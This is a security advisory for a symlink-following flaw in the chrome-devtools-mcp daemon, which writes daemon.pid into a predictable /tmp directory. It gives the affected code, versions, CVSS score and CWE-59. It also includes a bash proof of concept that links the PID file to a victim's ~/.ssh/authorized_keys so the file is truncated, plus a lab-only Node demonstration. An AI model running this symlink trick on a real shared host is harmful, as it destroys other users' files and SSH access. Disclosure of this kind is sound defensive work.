Advisoriesby IbisChrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory
Summary
The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.
Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.
This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.
Details
Affected code:
src/daemon/daemon.ts:38-42
```ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());
`
src/daemon/utils.ts:49-68
```ts
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? -${sessionId} : '';
const appName...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| chrome-devtools-mcp npm | >= 0.20.0, < 1.1.0 | 1.1.0 |
Details and references
### Summary The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`. Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string. This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements. ### Details Affected code: `src/daemon/daemon.ts:38-42` ```ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString()); ``` `src/daemon/utils.ts:49-68` ```ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? `-${sessionId}` : ''; const appName = APP_NAME + suffix; if (process.env.XDG_RUNTIME_DIR) { return path.join(process.env.XDG_RUNTIME_DIR, appName); } if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', `${appName}-${uid}`); } return path.join(os.tmpdir(), appName); } ``` The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID. Preconditions: - The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset. - The attacker has any local user account on the same host. - The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode. ### PoC Realistic POSIX scenario: ```bash # Attacker, before victim starts daemon mode. victim_uid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}" ln -s "/home/victim/.ssh/authorized_keys" \ "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid" # Victim later starts daemon mode. chrome-devtools start # Result: # fs.writeFileSync follows the symlink, so authorized_keys is truncated to # the daemon PID string. ``` Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory: ```js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-')); try { fs.chmodSync(lab, 0o755); const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', ); const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true}); const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath); // Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString()); console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); } ``` Observed output from the lab PoC: ```text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -
- CVSS 3.1
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-59
- Also known as
- CVE-2026-53765